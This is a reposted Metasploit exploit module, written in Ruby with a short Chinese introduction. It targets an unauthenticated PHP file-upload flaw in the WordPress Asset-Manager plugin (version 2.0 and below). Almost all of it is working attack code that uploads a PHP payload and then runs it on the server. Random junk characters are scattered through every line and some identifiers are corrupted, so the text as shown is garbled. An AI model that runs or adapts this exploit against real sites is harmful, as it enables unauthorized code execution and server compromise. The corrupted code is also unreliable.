这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。6 z0 N6 n3 S) d$ z7 t, F5 `
' J% e; ?, |, O, v, S9 ~( {$ O2 X0 n9 G8 ~##4 v( r S3 a% r# c) ]; R
# This file is part of the Metasploit Framework and may be subject to' `) j9 q2 ^) X7 J3 [8 k' M" o$ z
# redistribution and commercial restrictions. Please see the Metasploit
" h0 H, ]# h, f P# [# Framework web site for more information on licensing and terms of use.
2 R: ?1 k1 s! f+ Q5 K/ y7 y) z# http://metasploit.com/framework/0 i# \' \3 O% R \1 r* G6 p; \% m: ?
##
$ C$ h- e- g/ m4 C3 [ ) q' p4 W5 O; T4 T7 `) z5 b. i; q
require 'msf/core'
+ z4 p8 ~/ a0 ?+ b; K& [require 'msf/core/exploit/php_exe'( p) |0 K8 p8 U# u2 A
, n& E5 w: I3 P: ]( i' A0 f3 X
class Metasploit3 < Msf::Exploit::Remote# U9 ] ^2 \9 I6 v" F* L8 e
Rank = ExcellentRanking
# R( d# Z3 ]' t) G - m- m) K$ ~8 }3 q
include Msf::Exploit::Remote::HttpClient
+ _* Z% p3 k3 c4 X$ t* \- F include Msf::Exploit: hpEXE
9 ^ U) x, g9 j0 O# ~ . Q( b E7 C# S5 k& f: `# L0 s
def initialize(info = {})6 N+ T# ~+ A0 `# j, E% I5 A
super(update_info(info, O, \* |0 j; f$ Z) Q
'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',
& P! J k' ?. k+ t0 y- _+ [+ \ 'Description' => %q{# y( Q1 O Q1 f: Y" L- M: f
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
( m: @' Z3 L5 z; S+ k plugin. By abusing the upload.php file, a malicious user can upload a file to a% _8 x* X3 j- b, A4 g
temp directory without authentication, which results in arbitrary code execution., K6 U4 L# _+ r0 Y7 ]9 S5 m
},; r* U" O w' Y5 j
'Author' =>- y& k; N2 R+ T4 u Z# }
[
& L9 t3 R9 P4 l C: J1 b6 g2 e/ p+ | 'Sammy FORGIT', # initial discovery4 o" z5 j+ @% B$ a( A# U
'James Fitts <fitts.james[at]gmail.com>' # metasploit module$ n2 ^0 l& l Q9 Q
],
7 k. J$ I4 u5 }6 V( @) `4 A 'License' => MSF_LICENSE,) x" u* ]7 Y2 W. p! T! C
'References' =>
3 O( L; b4 {/ N) u: O, i& Y* |# \& X6 o [
% I- |5 a. F6 W! N+ f; U5 k, j$ k' B7 R [ 'OSVDB', '82653' ],
2 ?. T3 b$ |+ b- l/ b [ 'BID', '53809' ],
- ^/ w0 n( a+ ^& I6 A& ] [ 'EDB', '18993' ],
8 [) T( d1 O, Q0 b+ W% Y: a [ 'URL', 'http:// www.myhack58.com /' ]9 k7 ^* l, F" g
],
7 V- i; `3 u. p8 y- J 'Payload' =>. G% B% f+ O5 z1 t" v0 b, W
{% M" R. q) M2 x! N; d. }; q
'BadChars' => "\x00",
$ X9 g$ D. c, f5 L4 O8 C },
& L7 F6 ?! E2 Z0 c3 a, t 'Platform' => 'php',
# n6 J8 t- }8 g" C) T, N 'Arch' => ARCH_PHP,
( y" ^2 M8 j9 c7 {' d3 V2 M 'Targets' =>
. k1 p$ C7 K! Y6 W% E0 A) [ [
: J( d/ a; [! C, L i [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
! V. z1 T7 w; y9 |& a% w0 i5 B [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]: K* n. b9 ` E6 B
],8 {9 L1 _7 h( c3 z: U3 k
'DefaultTarget' => 0,$ V+ w" Y' ~7 T" Q: Y
'DisclosureDate' => 'May 26 2012')) m3 F0 N g& a1 \) H
9 |" ` B) h u7 D+ n/ _
register_options(7 d% J) j9 m( q3 C
[
8 H+ K2 J: O3 S OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])5 U! L1 x- M$ J4 J% U; Q
], self.class)
S: s( [9 U; y( p% g5 F4 v end( n. Y6 E `6 j4 ]) N/ \! v
* x. q( E; Q8 f8 q: T+ [& J- s/ h def exploit2 o0 L8 x# [* f5 r( O! s0 m' O' q
uri = target_uri.path" p& D% e$ }( o; w1 v, r
uri << '/' if uri[-1,1] != '/'
) x4 F& H* u( d% h& } peer = "#{rhost}:#{rport}"! z2 W; e7 A; F* [# x2 J
payload_name = "#{rand_text_alpha(5)}.php"
- N8 b) _, y* C% E: ] \7 W- \ php_payload = get_write_exec_payload(:unlink_self=>true)
4 Q u7 B7 Y @! \ U+ q2 D / R3 G8 s4 f2 z8 L6 F* A
data = Rex::MIME::Message.new
" X/ X" \0 y! |3 W' @ data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
7 h2 b; J8 G' P* B* h6 ?& ~- K post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
o6 Q( H; r; J$ x/ ^7 g 7 o& n% }3 u+ V! o: ~4 `5 s5 H6 _! K
print_status("#{peer} - Uploading payload #{payload_name}")% {# O T+ j7 Y: @ M
res = send_request_cgi({5 a( a' d/ Z- I" x$ s o, P
'method' => 'POST',
% T" S1 B# T5 ?! c5 y* K 'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",1 ?- `- u+ }: e. T+ D" M3 S
'ctype' => "multipart/form-data; boundary=#{data.bound}", w$ B9 A9 d+ F/ I' i
'data' => post_data7 H6 z. Y- i- o* Z
}); F8 y2 n+ L/ m( r5 Y( c. ^0 p
, ~2 U& Y7 I% W; ? if not res or res.code != 200 or res.body !~ /#{payload_name}/, P/ d0 t1 ^4 C- E. U
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
8 T3 j/ _* l0 O) [6 @4 }9 N# C' nend
1 n7 s5 g( T* ]$ Q" e ) V+ M9 R% k- h" B. w* z0 k
print_status("#{peer} - Executing payload #{payload_name}")/ Y5 c" d7 y5 P0 v
res = send_request_raw({
: r! r/ o( f j$ b( F! f" U. q1 {* ` 'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",. v# s% ^+ }1 X+ e8 d5 h
'method' => 'GET'" a" ~; p+ R0 E- y8 m- _: p
})
/ J7 g5 x3 X, j0 @( L+ ]% [ 1 }- V! _0 j J" e7 M
if res and res.code != 200) H% B% z& N; ~2 K0 [: Y3 T
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")9 b m+ b6 I) B) s/ Z
end0 {9 Z" z z" P* `+ b
end2 _6 E( J4 g4 i$ @! r
end6 E* v! z0 K# Y& ?" x2 ]
|